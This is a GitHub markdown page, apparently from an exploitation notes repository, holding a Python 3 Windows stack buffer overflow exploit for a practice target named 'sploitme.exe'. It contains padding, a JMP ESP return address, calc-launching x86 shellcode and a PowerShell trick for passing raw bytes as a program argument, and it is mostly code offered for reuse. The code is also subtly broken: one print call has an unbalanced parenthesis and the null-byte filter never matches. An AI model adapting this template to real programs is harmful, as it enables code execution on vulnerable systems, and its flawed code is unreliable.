Skip to content

Latest commit

 

History

History
98 lines (83 loc) · 3.82 KB

exploit-win-py3-bof.md

File metadata and controls

98 lines (83 loc) · 3.82 KB

Python 3 Argument based buffer overflow solution

The problem with Python3 is that all shell interaction (e.g. using subprocess or OS) will attempt implicit decode of bytes to latin or utf8.

This breaks our shellcode that relies on being specific bytes.

The solution I've settled on is supported from windows 7 and above and uses a hacky powershell workaround to send raw un-encoded bytes to the argument of a program. It does this by writing a binary file and using powershell to cat this out to the argument of the program.

I know, I know, terrible.


Code

import os
import sys
from struct import pack
import subprocess
# Usage:
#
# >>> Findjmp ntdll.dll esp
# Scanning ntdll.dll for code useable with the esp register
# 0x776D57CE      call esp
# 0x77711C43
# [.....]
# Finished Scanning ntdll.dll for code useable with the esp register
# Found 8 usable addresses...
#
# Put one of them into "function_location"
#
# >>> py -3 py3-terrible.py
# Sends this to program argument 1 as an example (calc.exe shellcode)
# 000000  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
# 000010  41 41 41 41 41 41 3b 7d 26 90 90 90 90 90 90 90
# 000020  90 31 db 64 8b 7b 30 8b 7f 0c 8b 7f 1c 8b 47 08
# 000030  8b 77 20 8b 3f 80 7e 0c 33 75 f2 89 c7 03 78 3c
# 000040  8b 57 78 01 c2 8b 7a 20 01 c7 89 dd 8b 34 af 01
# 000050  c6 45 81 3e 43 72 65 61 75 f2 81 7e 08 6f 63 65
# 000060  73 75 e9 8b 7a 24 01 c7 66 8b 2c 6f 8b 7a 1c 01
# 000070  c7 8b 7c af fc 01 c7 89 d9 b1 ff 53 e2 fd 68 63
# 000080  61 6c 63 89 e2 52 52 53 53 53 53 53 53 52 53 ff
# 000090  d7


# ------- OPTIONS --------
binary_name = b"sploitme.exe"
padding_to_BOF = 22 # Junk -> EBP Overwritten
# Enter the memory location you want to exec
function_location = 0x773407A8 # use a kernel32 JMP ESP when using shellcode
no_null_bytes = False # C library functions such as strcpy 
                     # will stop on \x00 and kill the exploit, 
                     # toggle to avoid this!
nop_count = 0
shellcode = b"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"

# Open calc.exe generic all-win32: "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"
# -----------------------

def fast_byte_build(byte_to_use,count):
    ret = bytearray()
    for i in range(count):
        ret += byte_to_use
        i+=i
    return bytes(ret)

payload = fast_byte_build(b'\x41',padding_to_BOF)
payload += pack("<I", function_location)
if no_null_bytes:
    clean_payload = b""
    for x in list(payload):
        if x != b'\x00':
            clean_payload+=x
    payload = clean_payload
if nop_count>0:
    nop_sled = fast_byte_build(b'\x90',nop_count)
    payload += nop_sled
payload += shellcode
# Python3 remedy for its implicit decoding of byte sequences in a shell
f=open("buffersploit.txt","wb+")
f.write(payload)
f.close()

# Fire the hack... literally and figuratively
print("Executing: " + binary_name.decode('utf8')))
print("Payload" + str(payload))

command = [
	"powershell.exe",
	"-c",
	"./" + binary_name.decode('utf8'),
	"$(cat buffersploit.txt)"
]
subprocess.call(command, shell=True)